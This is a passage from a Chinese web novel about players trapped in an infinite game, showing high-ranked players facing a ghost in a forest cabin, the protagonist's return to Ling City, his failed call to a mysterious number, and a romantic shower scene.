听见那声“209999”，江时早也先看了眼身旁的温浅川，这才回了宋沉岳一句：“你好？” 代号再次被人精准无误的喊出来，江时早的脑中也拉响了警铃。 他想到了091提到的那个论坛，到底是个什么论坛……论坛上又写了什么与自己有关的内容。 难道这些人都是因为那个论坛上的内容记住了他这么一个新人吗。 被游戏代号如此靠前的人记住，江时早感觉这恐怕不是一件好事。按照他的苟命原则来讲，自己应该保持路人背景板般的低调，不被任何人惦记，才最安全。 之前是091，现在这个站在他们眼前的人代号无疑更加靠前。而且对方还找到了这座温浅川口中能够联系到救援的安全地。 眼前的人一定不简单。 对方是055，014，还是……006？ 黑暗中，宋沉岳也不动声色地观察着江时早与温浅川。 在江时早开口后，宋沉岳又往前走出了几步，这个人的身影也从树影间来到了丛林路径上。不过他与江时早他们的距离始终不算近，何况他们之间还隔了两个“救援对象”。 宋沉岳站定后，他看向两人的方向，目光却是落在了江时早身上，他说：“你好，我是006。” 宋沉岳这时想：那份报告上有一点倒是说得没错，“209999”看起来的确更好“交流”。 至于“209999”旁边那人，自从宋沉岳走出来后，对方手中的猎枪就一直对准了他。显然是在威慑。 两相比较，“209999”的枪口好歹移开了一点。 而在宋沉岳自报身份后，江时早的脑袋就“嗡”了一声。 006！ 江时早看向宋沉岳。 如果代号的持有者是个好人，这真是一个听见就会令人升起一丝希望的数字。 大概是因为上一个副本中遇见了快速破译副本并且没有为难他们的001，以及后来他和温序在德奇街撞上的其他玩家，也都很友好，江时早目前对这个无限空间里的玩家印象都偏向正面。 所以当006报出代号时，还穿着校服的人虽然没有放松警惕，但对来人的态度也没有明显的变化。 而没有敌意对宋沉岳来说就是一种不错的情况，恰好他有意与“209999”接触。宋沉岳说道：“我们已经找到了卫星电话，大概过不了多久，救援就到了。” 这真是一个好消息！江时早听见后的第一反应就是看向身旁的温浅川，他和哥能安全离开副本了！ 温浅川在江时早转向他时就低头露出了一个浅笑。目光相对，他当然知道早早心里在高兴什么。 此时现场第二第三高兴的人大约就是行动受限的艾米丽和伊森了。他们没听错吧？真的有救援！ 所以这座森林里到底发什么了什么恶性事件，这些人居然把他们当危险份子一样绑起来了！ 这时，宋沉岳再次开口，他向江时早示意了一下自己身后亮灯的方向，说道：“进去说吧。” 随后才看了眼精神状态欠佳的伊森和艾米丽。 “那里应该有你们的同伴，我们救了几个人。” 宋沉岳的这句话如同一针强心剂，被他对话的伊森和艾米丽瞬间精神多了。 江时早心里也顿时安心了一点。还有点不好意思。刚刚有那么一秒，他的确也怀疑过006会不会想抢走他们“救”来的人。 虽然还没有真正看见主角团的其他人，但是在006说完后，江时早看向不远处的006，006的长相真不像坏人，江时早内心还是更倾向于相信这个人说的话。 一旁的温浅川微微眯了眯眼。他也发现了一件事。 早早好像很容易就根据“长相”来判断对方是好人还是坏人啊。 温浅川这时微笑着开口了：“那就进去看看吧。” 再次听见这道声音，伊森·林道如获大赦，他重重的呼出了一口气，已经迫不及待地想要奔向那个亮着光的方向了。 宋沉岳这时看向了温浅川，他也发现了伊森和艾米丽对温浅川的恐惧，再看看对方手中的枪，宋沉岳说：“别紧张，我对你们没有恶意。” “是吗？”温浅川微笑着回道，他并不紧张，相反，这个人的表情十分谦和，只是手中的猎枪也没有半分偏移目标。 “不管你是什么人，但在这个地方，除了……99，我谁也不信。”温浅川说。 99？ 听见这两个字时，江时早的耳朵动了一下。他在想哥口中的99难道是自己？想了想，嗯，应该是自己，209999！ 说真的，江时早很感动。温浅川的反应也很快，没有暴露他们的姓名。 宋沉岳没有再继续这个话题，为示诚意，他率先转身走在了前方带路。 伊森和艾米丽对视一眼，拔腿就跟了上去。至于这三个陌生人刚刚的对话，他们感觉自己好像听懂了，又好像有很多疑问。 其实心底还是很忐忑的。 直到伊森和艾米丽真的在林场亮灯的木屋里见到了同伴，这种忐忑才终于得到了缓解，但仅仅一瞬间，惊喜与惊慌就同时升起，原因也很直接，他们的确见到了他们的同伴，但同伴们看起来都是昏迷状态，没有一个人是醒着的。 而两人也没来得及进一步思考，就感觉自己脖颈一痛…… 宋沉岳两记手刀下去，木屋中昏迷的人就又多了俩。 这个人出手迅速又果决，走在后面的江时早都看愣了一下。 温浅川则轻轻拍了拍手，像是鼓了两下掌，他的视线也扫过了这座木屋里的其他人。 房间里昏迷的人一共有八个，除了利昂娜，主角团队的人竟然都在这里了。 温浅川将这个信息贴耳告诉了江时早。 至于这里清醒着的人…… 除了006宋沉岳，江时早还看见了有过一面之缘的091，对方见到他们，立刻向两人挥了挥手。 棕发碧眼的091笑着说：“又见面了。” 091还和刚刚进门的江时早解释了一下林场的情况：“我们担心这些人醒着会出乱子，所以先让他们安睡一会。” 江时早点了点头，对于这个说辞可以理解，毕竟他和温浅川一路上都在做着类似的事……这时，江时早抬手将头灯关了。 此刻这座林场木屋中除了已经昏迷的书中主角团外，加上刚来的江时早与温浅川，正好是六人。 本次游戏副本的参与玩家人数：6 江时早猜测房间里的另外两个陌生人就是代号“014”和代号“055”的玩家。 木屋中其他人的视线有意无意间也都落在了这个“高中生”的身上……他就是“209999”吗。 每个人心中各有所思。 而众人眼中这个看起来很冷静的、深不可测的“高中生”，心里其实正想着：木屋里的人不愧都是高等级玩家。这也太厉害了吧。这么短的时间里，他们居然已经将留守驻扎地的林翰民、林智禧兄弟，被困废弃别墅中的伊万、林河、郑徐宁、约翰尼等人都带来了这本小说中唯一可能获救的这片废弃林场中。 厉害厉害。 江时早心中连连肯定。 房间里，半靠在沙发边的014是一个头发微长的外国男子，他身形瘦高，黑发黑眸，没有表情时，气质冷郁。 055则是一位神色清冷、眼神内敛的女子，她有着一头黑棕色长发，立于一侧，不动声色地观察着周围一切。 继091之后，014开口道：“既然人都到齐了，那就说说看吧，两位想要什么？” 014这话显然是对着刚进来的江时早与温浅川说的。而在这个人说话的时，他身上的气质发生了明显变化，尤其此刻014的脸上还出现了一点笑容，整个人看上去有种说不出来的俊美。 江时早看向说话的014，但不是很明白对方的意思。 014挑了挑眉，“怎么，难道不是您把我们聚集在这里的吗？”014对江时早说。 “我？” 江时早语调中的疑问听起来很真实。 但014显然不是很相信眼前这人的反应，他觉得209999正在进行某种即兴表演。 或许这又是什么私人小爱好。 此时房间中的宋沉岳、055、091都没有插话，但毫无疑问，他们都在观察209999。 014这时配合地笑了一下。他看着江时早，那是一张非常漂亮的亚洲面孔，非常非常的吸引人，而对于美丽的存在，014也格外有耐心，何况对方的身份十分神秘…… 014说：“我们都收到了阁下特意留下的线索，多亏了您，我们才能快速营救到这些人。” 一直保持沉默的055这时也点了点头，证实了014的发言。 留守驻地的南韩留学生就是由055带来这座林场的，而在来的路上，她遇见了同样在进入副本后没多久就收到了提示的091。 因为神秘信息的提示，055避开了所有的陷阱。并且甩开了一直守在营地附近的利昂娜。 …… 房间里，055看向江时早，如果线索是这位留下的，她理应当面感谢对方。 006宋沉岳和014则是合作将废弃别墅中的四人转移到了这里。 在营救废弃别墅中的几人时，他们的确遇上了一点麻烦。那个地方存在着未知的诡异，但是根据神秘人留下的线索与指示，这就让营救变得容易了不少。 而这种情况，也让宋沉岳想到了09小队上一个副本的经历——快速通关。 001。 有人对这个副本世界了如指掌。 …… 宋沉岳的目光落在了江时早身上，他其实早就认出了这个年轻人。 就在这时，江时早的眉心却忽然凝了起来。 这一反应不免让木屋中的几人都紧张了一下。 014甚至“哈哈”了一声，心想209999很喜欢逗他们嘛。对方刚刚凝眉的一瞬间，那种风雨欲来的危机感，演得014差点都信了。但014看了眼时间，最多不过一刻钟，救援人员就该抵达了。届时副本出口打开，所有人各回各家…… 江时早现在没时间管其他人怎么想，他侧过身，快速与温浅川说道：“所有人都聚在这里了……” 岂不是所有的情绪都在这里了？！ 一旁的宋沉岳沉默不语，如同那份报告中所说，209999的确是一个难以看透的人。 有人对这个副本世界了如指掌，江时早看起来就像是那个人。 在昨晚之后，宋沉岳已经知道，温执在医院中看望的人，正是一位在车祸后深陷昏迷状态的，年仅二十二岁的青年——江时早。 一个在人类世界已经陷入昏迷的人，又是怎么活跃在IDT世界里的？ 温执和江时早，这两个人都有隐秘。 20-30 第21章 第二十一章 他只回应江时早 江时早没有忘记这个故事中的‘鬼’, 以及它的进食原理。 强烈的情绪会吸引‘鬼’的靠近。正是因为想到了这一点，意识到危险的江时早第一时间就看向了身边的温浅川。 现在主角团队中所有人几乎都在这间屋子里了，那岂不是……一定会将‘鬼’吸引过来！ “把人都弄晕了, 确实是有好处有坏处。”温浅川摸了摸下巴, 状似思索。 这个人说话时, 视线瞥了眼木屋里的其他人。他的声音不疾不徐，没有刻意回避谁，房间里的人该听见的都听见了。 而听见温浅川的声音，江时早紧张的情绪莫名就缓和了一点。 大概是因为他从温浅川的语调中听出了一种沉着！这意味着他们眼前面临的困境可解！ “什么坏处？”014看向距离木屋门最近的那两人。 但那个站在209999旁边的人只是面带微笑，并不答话。 等了数秒后，014算是看明白了。这个像笑面虎一样的西装男好像只回应209999。 这人是209999的手下吗？014心想着。 江时早看了看两边，在与温浅川眼神接触后，江时早感觉自己可能看懂了温浅川的意思。 温浅川这时低下头, 以一种耳语的方式与江时早说了几句话。 江时早微微点了点头。 数道目光落在他们身上。 两人的交流也并未持续很久。 等温浅川的身形恢复笔挺时, 穿着校服的少年也回过身，重新面向了对面的玩家们。 江时早向这些玩家解释道： “这片森林中的怪物会受到人类情绪的吸引，越强烈的情绪越吸引它。” 江时早说话时，一旁的温浅川浅笑着点了点头，十分配合。 “什么……？” 江时早的话引起了木屋中其他几人的重视。 091微微惊讶出声。055的眼神也更加肃然了几分。014想起了之前在废弃别墅里有过一次照面的‘鬼’。 “原来如此。”014思索道，“所以那怪物现在正在向我们靠近……或者它已经在附近了, 是这样吗，209999？” 江时早点了点头。 高位玩家们果然很好沟通。此刻的江时早心中还有一点小希冀, 也许他们能解决掉那只怪物。 毕竟眼前的几位高位玩家在听他说完后，看起来都很沉着冷静。 他们是不是有对付鬼的道具啊？还是技能？或者超能力？ 温浅川刚刚同他说，应该将怪物的信息共享给木屋里的所有人，这样一来，这些老玩家说不定有应对办法。 江时早十分赞同温浅川的想法。温浅川还根据小说的尾声同江时早说出了自己的推测： 这座森林中的‘鬼’应该不愿意暴露在大众视野中。 尾声里曾有官方搜救队进入过森林, 但他们并未遭遇任何怪事。 因此，温浅川推测，他们只需要坚持到救援到来，‘鬼’就会自动远离他们，它会重新隐匿起来，等待下一次的献祭。 这绝对是一个好消息。根据之前014所说，救援队应该很快就到了。最多再有十分钟，他们就能完成任务了！ 江时早刚想到这，结果就听见了014道出一句：“麻烦了。各位小心，自求多福。”说完014的视线就看向了木屋的窗户，神色格外警惕。 091和055的表情也变得十分严峻。 “……”江时早一下子就紧张了一下。 006倒是神色未变，这个人依旧冷静，只是脑中划过了一道念头，一道对自己之前猜测的肯定：他眼前的这个年轻人的确知道许多与副本世界相关的规则与情况。 091这时说了一句：“真不想在最后关头被鬼控制。” 江时早看向091，091正摇着头叹气，感受到江时早的目光，他对江时早笑了一下，说道：“那只怪物擅长精神入侵，不过它入侵的对象应该有先后……” 091这时看向014，说：“按照你们之前的观察，当时被怪物控制的只有一人，对吧？所以这只怪物很可能会挑情绪最强烈的人先入侵。” “所以我们现在最应该做的事就是保持冷静。”说着091就深呼吸了一口气。 014这时看向了昏迷的主角团队，他现在算是明白那个站在209999身旁的人之前那句话的意思了。 如果不把主角团队全打晕，现在他们就可以推一个人出去吸引‘鬼’。 一时间木屋里变得异常安静。 江时早观察了好一会儿，也没有发现有大佬拿出防身的道具，或者抓鬼的道具。 没有技能的光芒闪现，也没有炫酷的超能力出现。 江时早隐约感觉，大家好像都还是普通人！ 这个发现让江时早心底地震了一瞬。 温浅川原本只是想让木屋里的其他人受到一点点的惊吓，提升全员副本世界体验度。也让早早看清这个游戏里大多数人的真实面目，却没想好像吓到了早早。 当即低头补救道：“我有办法避开攻击。” 听见耳边的低语，江时早眼泪差点掉下来——真的很想抓着温浅川的双手喊大哥了。 江时早努力克制住自己的情绪后，这时距离他们最近的006忽然有了动作。 宋沉岳走向一旁的老旧书桌，从上面翻出纸笔，快速写下了什么。 014则说道：“现在把他们弄醒，只要最后留下六个活口就行。” 014的视线这时扫过众人，木屋里的其他人也都明白了他的打算。 如此一来，怪物会先攻击这些大学生。 014说：“这是最优解。无论我们如何保持冷静，那个东西一旦来了，一定会攻击我们中的一人。难道你们想被鬼盯上吗？” 014说的其实是有道理的。 宋沉岳这时已经放下了手中的笔，他神色如常，没有任何变化，似乎没有受到副本中任何变化的影响，只是走向了江时早。 “做什么？”温浅川的视线转向宋沉岳，手中的猎枪挡住了这个试图靠近早早的人。 宋沉岳低头看了眼横在自己身前的枪口，他停下脚步看向江时早。 “这是我的联络方式，离开这里后，如果你想，可以联系我。” 宋沉岳说着将手中的纸条递到了江时早身前。 这个人的声线比较沉，但表现出来的态度是容易被他人接受的礼貌与尊重。 温浅川皱了皱眉，唇角的弧度压了下来。 江时早则有些讶异。 木屋里的其他人也因为006的举动而愣了一下。这位是想做什么？ 第22章 第二十二章 “世风日下……”…… “好。” 短暂的怔住后, 江时早很快回神。他接过宋沉岳递来的纸条，纸条上是一串数字。他垂眸看了一眼，神色未变, 随后放入了校服口袋。 木屋里很安静, 衣料摩挲发出轻微的声响, 但很快被外面森林中忽然生起的风声盖过。木屋的窗户被吹动，众人神色瞬间一紧。 江时早其实也想知道其他玩家的情况，想知道玩家们是从哪里进入到这个无限游戏中的。 上个副本中他出于警惕没有与那些人多交流。 江时早放在口袋里的手轻轻碰了下纸条。他想如果能安全回到铃城，可以尝试联系一下这个无限游戏中的玩家。看看能不能得到一些信息，还有……查看一下之前091提到的那个论坛。 还有，慰问一下他连续故障了的两个系统…… 当然，所有这一切的前提是安全通关副本，回到铃城！ 宋沉岳没再多言, 在江时早接过纸条后, 他主动退开了。 但木屋中的其他人根本无法忽视宋沉岳——006的存在。那人身形挺拔，神色沉峻，如同一把收鞘的利剑，锋芒内敛却依旧迫人。 温浅川站在几步之遥外，唇角仍噙着笑，眼底的温度却淡了几分。 温浅川不是很高兴, 单手收起猎枪时，另一只手指节微屈, 轻轻摩挲了两下。但当江时早看向他时，这个人的神色又恢复了那种十分有亲和力的温润。连同眉梢都好看了几分。 014看了看这三人，将所有人的互动尽收眼底。紧绷的神经稍稍放松——看来自己的担心好像有些多余了。 眼前这几位神色自若，仿佛森林中蛰伏的怪物不过是无关紧要的插曲，通关只是时间问题, 并且那个时间已经快到了！ 但下一秒，014又倏地皱紧了眉心。 不对。 他觉得自己的顾虑很有必要。 006和209999或许有全身而退的资本，但那几位可不一定会管这里的其他人。 到了危机时刻，没有人会在意其他人的死活。014思及此，又打起了主角团队的主意。 江时早注意到014走向了晕迷中的主角一行人。 这个黑发黑眸的瘦高男子最终停在了伊万·林道和林河前方。 “这两个人应该够了。” 014蹲下身，指尖已经抵在了林河的颈侧。这个亚洲青年的皮肤冰凉，但脉搏还算平稳。014又看了眼伊万，这是第一个遭遇怪物精神入侵的人，林河是第二个。 伊万虽然陷入了昏迷，但这个人的眉头仍旧紧锁，额角渗着细汗，像是陷入了噩梦中。 不得不说，014的观察力很好。 他准备外力使伊万和林河醒过来，再把两人扔出去，替他们拖延时间。 “都没有意见吧？”014动手前还是问了一句。 他抬头环视众人，语气平静，但手上的动作已蓄势待发。 窗外的世界在短暂的交谈间已经被雾气笼罩，这可不是一个好征兆。 起雾后的林间变得愈发诡谲，雾气氤氲，像某种活物般流动，缠绕着这间木屋。 透过窗户的灯光此刻只能照亮一片白茫茫的世界，众人所处的这间木屋仿佛与世隔绝了一般。 014可不愿冒险，他能感觉到，之前那个诡异的存在正在逼近，他的手指微微收紧，但就在他准备动手时—— “等一下。” 一道温润却不容置疑的声音，在这一刻突兀地打断了他的行动。 014抬眼望去，见说话的人是那个始终守在209999身边的西装男，014还是很给面子的等了一下。 “有何指教？”014挑了下眉。他的一只手仍旧搭在林河的颈侧。 只看这个人的动作，会以为对方准备杀人。 温浅川开口时，江时早紧张了一下。担心对面那个看起来不太好惹的高位玩家会对哥动手。 江时早握枪的手紧了紧。枪支冰冷的触感给了他些许安全感，江时早在心底悄悄换了口气。 还好他们有枪。 如果这些玩家真如推测的一样没有超能力，也没有特殊的技能与道具，那他手中的枪应该能够形成威慑。 014的确有些顾忌209999和西装男手里的武器。这一次副本来得突然，他又恰好身处特殊环境中，一时间差不多算是空手进入了副本。 当然，凭209999与001之间可能存在的联系，014也会听对方的人几句话的。只要内容是对离开这地方有帮助。 温浅川这时说道：“各位不必紧张。救援就要到了，各位只需要留在这间木屋里就行了。” 这句话如同砾石投在了暗流涌动的平静湖面上，一瞬间木屋里的所有视线都落在了温浅川身上。 温浅川站立的位置恰好是光影的交界处，剪裁得体的西装勾勒出他修长的身形，也使这个人的五官轮廓显得更为幽邃立体。 “这话是什么意思？”055警惕道。 091琢磨了一下，“留在木屋里就是安全的？”091觉得210001应该是这个意思。 “这样吗？”014挑眉后又皱了皱眉。他的手倒是暂时远离了昏迷的林河，只是有一点014有些想不明白，他看向江时早，“既然留在木屋里就是安全的，阁下刚才提起鬼怪的用意是……？” 014的视线在温浅川和江时早身上游移了一圈。 难道只是为了吓唬他们一下吗？ 014的目光最后停在了江时早身上，西装男是209999的人，但014感觉209999应该不会如此无聊。 温浅川的唇角挂着恰到好处的微笑。他当然是不会承认自己的真实用意的。 江时早则是刚刚知道温浅川有避开怪物袭击的办法。并且十分信任温浅川。 他猜温浅川之前让自己提醒这些高位玩家，也是抱着高位玩家们或许有解决办法的想法。 如果玩家们有特殊的道具或能力，这会是他们了解这个无限世界的运转，以及真实通关方式的机会。 毕竟江时早也知道，自己和温浅川能走到这座安全木屋，很大程度上是依赖于温浅川对小说《Skadino-via》的了解。 但江时早没想到的是——！ 温浅川会用只有两人能听见的声音，低头同他说：“早早，你在这里等我，等救援到了，再出来。” ……什么意思？ 江时早感觉温浅川就像是又要单独行动了！ 这让江时早的心脏猛地揪紧了一下。 “别担心。”温浅川低声安抚道。 江时早正要开口，一阵突兀的敲门声骤然响起—— “咚、咚、咚——” 江时早想要说的话被敲门声打断。 瞬间，所有人都看向了木门的方向，包括江时早。 那扇木门在外力的敲击下出现了震颤。 “这肯定不是救援吧。”同样听到了古怪敲门声的014眯了眯眼。 外面没有救援直升机的轰鸣声，更没有救援人员靠近的呼喊声，这道敲门声仿佛凭空出现——在门外的寂静世界中回荡。 “待在木屋里真的安全？”091感觉不怎么安全啊。 就在这时，他们看见209999身旁那个西装男有了动作。 温浅川迈步走向了门的方向。 “你准备做什么？”观察力敏锐的055看出了温浅川的打算，这个人走向木门的方向……是准备开门？ 055心里倒是想到了这人应该不会是想送死，所以是真的有对付鬼怪的办法？ 对方说待在木屋里就是安全的，的确，目前鬼怪并没有对木屋里的任何人发起袭击。 反而是制造出了一种敲门声。像是无法进来一样。 但是那敲门声越来越重，越来越骇人，那扇木门真的能拦住外面的鬼怪吗？ 而且210001是准备开门的吧。 此刻091和014也抱着差不多的想法。 就在那道暴力而急促的敲门声再一次响起时—— “哥。” 江时早拉住了温浅川的手臂。这一次的敲门声响非常巨大，盖过了江时早的声音。 温浅川顿了一下，江时早已经走到了他身边，然后又是一阵急促的敲门声响起。 两人前方就是那扇隔离了外界鬼怪的木门。 温浅川低下头，四目相对那一刻，看出对方眼底的担忧，温浅川轻声与江时早说道：“相信我。” 这个人露出了一个只有江时早能看见的，安抚的微笑，随后他打开门出去了。 温浅川的动作干脆利落，木门在江时早眼前关上时，一种难以用语言描述的冲动与情绪从心底升起。 江时早握枪的手指紧了又紧。 而自温浅川离开这间木屋后，木屋外的世界就重新恢复了寂静，没人知道外面发生了什么。 令人窒息的死寂在蔓延。 大约过了几秒后，宋沉岳走到了江时早身边，他思索了一瞬，随即抬手尝试着打开木门。 但下一秒，宋沉岳就说道：“门被锁死了。” 闻言江时早立刻走上前推了一下，果然，原本应该很容易推开的门，此刻纹丝不动。 宋沉岳看向江时早，不难发现眼前的这个年轻人很在意刚刚走出去的210001。 也就在这时—— 外面响起了轰隆隆的直升机螺旋桨的声音。 014走向窗户前，看清外面的景色，他说了一句：“雾散了。” 救援人员到了。 ………… 铃城。 “哥——？！” 江时早周身那道在退出副本时产生的白光消散时，睁眼的瞬间，他立刻转向了自己的左手边。 离开副本的江时早很快就发现自己仍坐在铃城444路公交车上。 熟悉的公交车座椅，熟悉的景象。 正是因为看清了眼前的一切，江时早立刻寻找起了温浅川。 ——“早早。” 熟悉的声音响起的那一瞬间，江时早看见了坐在身边的温浅川。 看清对方脸庞上的浅笑，江时早的眼泪不受控制地“哗”地一下就掉了下来。 “哥！” 他抓住了温浅川的手，真实的感受到了对方的存在。 眼泪一下子又吧嗒吧嗒的掉了好几颗。 温浅川的笑容僵在了脸上。他的神色变得有些失措，他赶紧抬起另一只手，帮眼前的少年擦了擦眼泪。 “救援人员到了后，我还没来得及打开木门，副本就把我传出来了。” 江时早的声音里有一丝自己都没意识到的委屈。 当时在木屋里，他们听见螺旋桨与救援人员的声音后，副本通关的通知就在江时早的意识中响起了。 然后不等他再有任何行动，眼前的世界就被纯白覆盖，再睁眼，他就回到了444路公交车上。 然后就是现在…… “我好担心你！”江时早哭诉道。 “没事了早早，我没事。” 温浅川手忙脚乱地安抚眼前的人，最后直接将人抱入了怀中。 刚好公交车在这时停靠在了南岸公园那一站。 后座的老奶奶路过时，看着抱成一团的两个年轻小伙，摇了摇头，苍老的声音嘟囔着：“世风日下……” 第23章 第二十三章 两个人一起洗澡很正常…… 江时早逃课了。 等他意识到自己违背人设日常时, 人已经坐在了温浅川的办公室里。 温浅川给江时早泡了一杯咖啡来。 “早早，先喝点水。” 温润的嗓音在身前响起，一杯冒着热气的咖啡也递到了江时早的眼前。 “谢谢哥。” 接过温浅川递来的热咖啡, 江时早喝了一口。淡淡的焦糖香味在口中溢开, 坐在沙发上的人也抬头看向了温浅川。 温浅川的办公室位于铃城西岸SURREAL集团总部第76层。 这座集团建筑一共有81层。 温浅川的办公室占据了76层很大空间。主办公区域中装饰着单向可视的玻璃幕墙, 从内部看过去时是视野极佳的全景落地窗。人站在窗边，可以轻松俯瞰整座铃城。 江时早进来时，目光不由自主被一侧的模型展示区吸引。那间由三面玻璃墙围合的区域中摆放了许多建筑模型与设计样本，还有一幅幅天马行空的概念图。 那些很可能都是温浅川的作品。 而即时只是路过的匆匆一眼，作品中强烈的个人风格与艺术张力仍让江时早心头一震。 温浅川这时坐在了江时早的身边，西装裤料与真皮沙发间摩擦发出了细微的声响。江时早可以明显感觉到身旁人的存在。 “好点了吗，早早？” 温润的声音响起，抱着咖啡杯的江时早点了点脑袋。 两人现在坐的沙发位于整座办公室的中心, 江时早可以看见不远处的藏书区与休闲区。 温浅川刚刚就是在休闲区里的咖啡室里给他泡的热咖啡。 “我好了, 哥。” 想到自己之前在公交车上失控流泪，江时早耳根发烫，很不好意思。 当时的温浅川耐心地哄了他许久，他们又说了好一会儿话，话题围绕着那个无限世界不断展开，结果说着说着自己就已经来到了温浅川的公司。 江时早此时的目光落在了他刚刚发在沙发一侧的书上。 《Skadino-via》这本书在他退出副本后就回到了他手中。 再看向这本书的封面, 江时早目光复杂。 他的手机恰好在这时震动了一下。可能是有人给他发信息了。 这个认知闪过脑海时，江时早忽然地也想到了一个办法—— 一个或许可以挽救自己逃课行为的办法。 他当即放下了手中的咖啡杯, 同温浅川说：“哥，我先给学校请个假。” “好。”温浅川唇角微扬，目光温和，“慢慢来，别着急。” 手机屏幕亮起后, 江时早这才发现已经有好几条未读信息与未接来电了。 其实在他们进入副本后，铃城的时间并没有流动多少。 到温浅川的公司楼下时，这个世界的时间也不过早晨八点。 江时早先点开了温序的信息，因为没有去上早自习，温序似乎很担心他。 江时早立刻回复了温序。 在将进入副本和请假的事与温序说了后，他随后拨通了温鹤临的电话。 温鹤临也给江时早发来了信息。几通未接来电里的其中一通就事温鹤临打来的。 电话拨出去后，很快就被接通。 温鹤临极具辨别性的声音也从另一端传了过来。 “时早。” 成熟又磁性的声音，让江时早的脑海中瞬间勾勒出了对方的形象。也令江时早下意识地绷直了背脊。 想起了某些触感…… “温……温老师，我刚刚看见您的短信，抱歉，我现在不在学校……” 温鹤临早晨去了趟教室，给江时早送昨晚信息里提到的东西，但扑了个空。 江时早没去学校。 “出什么事了吗？”温鹤临的声音带着很难忽视的关心。 “没什么大事。那个，就是……老师，可以帮我请一下假吗……我今天身体有点不舒服。” 在江时早极其有限的记忆里，温鹤临和他们的班主任好像还挺熟的。 电话那头沉默了片刻。 但很快江时早就得到了回应。 “好的。” 但在答应之后，温鹤临又问道：“时早，你现在是一个人吗？” 这个问题让江时早的心跳莫名漏了半拍。 他下意识就看了眼身旁的温浅川，后者正若有所思地划动着手机屏幕。 “不是，老师，有朋友在照顾我。” 说这句话时，江时早的耳畔微微发烫。说谎请假这种事，以前念书的时候没做过。没想到毕业了反而干出了这种事……天知道这是他人生第一次撒谎请假。 “这样吗。” 温鹤临似乎思考了什么。 最后，这个人说道：“晚点我去看看你，顺便把东西带给你。” “！”听到电话里传来的声音，江时早莫名心惊了一下，下意识回道，“不用了温老师，这太麻烦您了。” 电话那头又沉默片刻之后，温鹤临说：“好，你好好休息。有什么事都可以给我打电话，时早……我等你回学校。” 挂断电话后，江时早深呼吸了一口气。 耳尖还有点红。但学生哪有不请假的，而且自己是生病请假，他这也算是维持人设了吧！ 希望铃城的检测系统不会太严！ 江时早这时摸出了校服口袋里的东西。 看着跟随他一起回到了铃城的纸条，纸条上字迹清晰可见，江时早松了一口气。 上面写着006的联系方式。 之前在副本中匆匆扫过了那串号码，此刻，江时早再次看着纸条上的数字，忽然凝眸。 一旁的温浅川拿着手机，实际上一直注意着身边少年的一举一动，自然没有错过江时早的神情变化。 “怎么了，早早？”温浅川放低声音询问，“这个号码有什么问题吗？” “号码不太对……”江时早将纸条拿给温浅川看，“这不是铃城的手机号码。” 铃城的手机与座机号码都是9位数。 但此刻江时早手中纸条上的号码，一共有11位数字。 11位…… 实际上，11位的手机号码对江时早而言才更加正常，在他过去二十二年生活的世界里，手机号码都是11位数字组成。 所以当他在副本中第一眼扫过纸条上的号码时，才没有立刻发现问题。 “还真是。”温浅川看着号码说了一句，在将真实情绪压在眼底后，这个人又说道：“会不会是特殊号码，早早……你要打过去试试吗？” 温浅川说着起身走到前方那张几何流线形的大型绘图桌边，从桌子上翻出了一部手机。 江时早的视线随着温浅川移动，看着对方走回来后将一部手机递到了自己身前。 温润的目光掩饰了温浅川眼底的暗流，这个人说道：“早早，以防万一有危险，你可以用这部手机打过去。这是加密线路手机，对方无法追踪。” 温浅川还是一如既往地思维缜密，江时早接过手机说道：“好，那我试试！” 在将006留下的那串数字输入拨号界面后，江时早没有犹豫地按下了拨打键。 温浅川站在少年身前，就这样垂眸看着眼前的人。江时早的注意力则完全在手机屏幕上，他打开了免提。 屏息等待了数秒。 然后听见了： “对不起，您拨打的电话号码是空号……” “……” 江时早将屏幕上的号码与纸条上的数字又对了一遍，确认自己没有拨错。 “不行，哥。”江时早在心底叹了一口气，对这个结果其实没有很意外。 这个号码明显不属于铃城所在的世界。 在拨打失败后，江时早心里实际上还升起过另一道希望。这道希望源于006留下的号码与自己原来世界的号码组成相似…… 代号006的玩家有没有可能和他来自同一个世界？ 这个无限游戏的玩家组成到底是什么。 江时早的脑中闪过无数念头。 但006的号码打不通，这条线索暂时断掉了。 温浅川这时说道：“我刚刚在网上搜索了一下019提到的那个论坛，IDT论坛，我尝试更改了一些关键词，但还是没有找到任何相关信息。” “这个论坛应该不容易找到。”江时早思索道，将手机还给了温浅川。 铃城的网络其实很局限。 江时早很早就发现，这里的网络只能搜索到与铃城有关的信息。 之前他还怀疑过，这个世界难道只有铃城这一座城市吗。 就在这时。 温浅川询问道：“早早，我的休息室里有独立淋浴间，你想洗漱休息一下吗？” 虽然在他们进入副本后，铃城的时间并未流动多少，但江时早是实打实地在森林中穿梭了一整晚。 温浅川这么一说，江时早瞬间感觉疲倦涌了上来。 在副本中奔波的恐惧几乎消耗了他一整天的精神。 “可以吗，哥？” “当然，来。我去给你找一套干净的新衣服。” 温浅川说着就带着少年走向了那间私人休息室。 休息室里的空间宽敞得超乎想象，还有一整面的玻璃墙。江时早看着温浅川走向衣柜，从里面取出了一套崭新的休闲服。 “这套我没有穿过，你洗完后可以先穿着。”温浅川说，“一会儿我帮你把换下的衣服送去清洗烘干。” “谢谢哥。”江时早接过衣物后又看向了温浅川，眼前的人虽然一身西装一丝不苟，但还是能看出一点疲倦。 “哥，要不一起洗？” 话一出口，江时早自己都懵了一下。 他肯定是累晕了，才会说出这种话。 虽然江时早觉得两个人一起洗澡也很正常，不过他很快就改口道：“哥你也很辛苦了，要不你先洗。” 江时早感觉自己已经很受温浅川照顾了。这里还是温浅川的休息室，就应该让他哥洗完先休息才对。 温浅川的眼眸变深了一瞬，看着眼前毫无防备的少年，他冷静了一秒，随后缓缓开口道：“那我们一起洗吧。早早，洗完再休息一会儿。” 温浅川都这么说了，江时早点了点脑袋，说：“好。” 跟着温浅川进入淋浴间时，江时早都还没有意识到这有什么问题。 但等到两人坦然地站在花洒下时。 江时早懵了。 看懵了。 温浅川仍旧很体贴，他帮江时早打开了花洒，调好了水温，身上也因此沾上了少许水珠。 但江时早还懵着。甚至越看越脸红，越看越高温，像被煮熟了。 不是……哥这身材是不是……这也……太好看了吧。 宽肩窄腰，肌肉线条如古希腊雕塑般完美，还有水珠顺着人鱼线滑落…… 温浅川回头时，就看见了一个发呆望着自己的江时早。 “早早，怎么了？”温浅川微微一笑，抬手将江时早往自己身边拉了拉，“是不是太累了？没关系，我可以帮你。” 江时早瞬间反应了过来！ “不，不用了哥，我不累！”话脱口而出时，江时早莫名其妙地不敢再与温浅川对视，他下意识地低下脑袋，低下了脑袋，结果就看见…… 